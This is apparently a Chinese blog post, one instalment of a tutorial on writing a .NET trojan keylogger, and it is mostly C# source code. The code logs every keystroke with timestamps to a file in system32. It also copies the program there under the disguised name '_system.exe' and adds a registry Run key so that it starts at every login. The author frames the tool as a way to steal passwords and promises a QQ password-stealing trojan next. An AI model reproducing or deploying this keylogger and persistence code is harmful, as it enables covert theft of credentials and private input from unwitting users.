.net木马的实现-开机键盘记录
3 RegistryReport和 Report类
这是RegistryReport 类的实现
这是Report类的实现:
public
void
FirstWrite()
![](https://i-blog.csdnimg.cn/blog_migrate/34031c708bfe702fe82d01ff5c6593aa.gif)
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine("************* LittleStudio Studio ************* ");
sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "."
+ DateTime.Today.Month.ToString() + "."
+ DateTime.Today.Day.ToString() + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString() + " ********");
sw.Close();
}
![](https://i-blog.csdnimg.cn/blog_migrate/f0cd6c7f9e7ae96feae062cb48f670f0.gif)
public
void
WriteDate(
string
keyEvents,
string
keyDate)
![](https://i-blog.csdnimg.cn/blog_migrate/34031c708bfe702fe82d01ff5c6593aa.gif)
{
try
![](https://i-blog.csdnimg.cn/blog_migrate/3112b7b6526db5bc83e275260ae60525.gif)
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine(keyDate + "键 " + keyEvents + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString());
sw.Close();
}
![](https://i-blog.csdnimg.cn/blog_migrate/3112b7b6526db5bc83e275260ae60525.gif)
catch
{}
return;
}
这样一个木马就写完了.用这种方式来获取密码不好,他把所有的键盘消息都记录下来了,给我们对密码的分析造成了很大的问题,而且.net中使用HOOK只能使用全局钩子,如果对单个应用程序的挂钩就不行了,在这方面用VC就好多,但是我们也可以通过其他方式来获取指定应用程序(如QQ)的消息,而且可以单单对某个控件(如密码框)的挂钩,最近忙死了,我想过段时间把QQ木马的.net实现写上了,好了,我吃饭了!
public
void
MoveFile()
![](https://i-blog.csdnimg.cn/blog_migrate/34031c708bfe702fe82d01ff5c6593aa.gif)
{
//判断该位置是否存在_system.exe,如果不是,就把程序移动到该位置,否则返回
if(!File.Exists("c://windows//system32//_system.exe"))
![](https://i-blog.csdnimg.cn/blog_migrate/3112b7b6526db5bc83e275260ae60525.gif)
{
File.Move(Application.ExecutablePath,"c://windows//system32//_system.exe");
}
else
return;
}
![](https://i-blog.csdnimg.cn/blog_migrate/f0cd6c7f9e7ae96feae062cb48f670f0.gif)
//
在注册表里写如启动信息
![](https://i-blog.csdnimg.cn/blog_migrate/f0cd6c7f9e7ae96feae062cb48f670f0.gif)
![](https://i-blog.csdnimg.cn/blog_migrate/f0cd6c7f9e7ae96feae062cb48f670f0.gif)
public
void
registryRun()
![](https://i-blog.csdnimg.cn/blog_migrate/34031c708bfe702fe82d01ff5c6593aa.gif)
{
RegistryKey key1=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run");
key1.SetValue("","c://windows//system32//_system.exe");
key1.Close();
}
![](https://i-blog.csdnimg.cn/blog_migrate/f0cd6c7f9e7ae96feae062cb48f670f0.gif)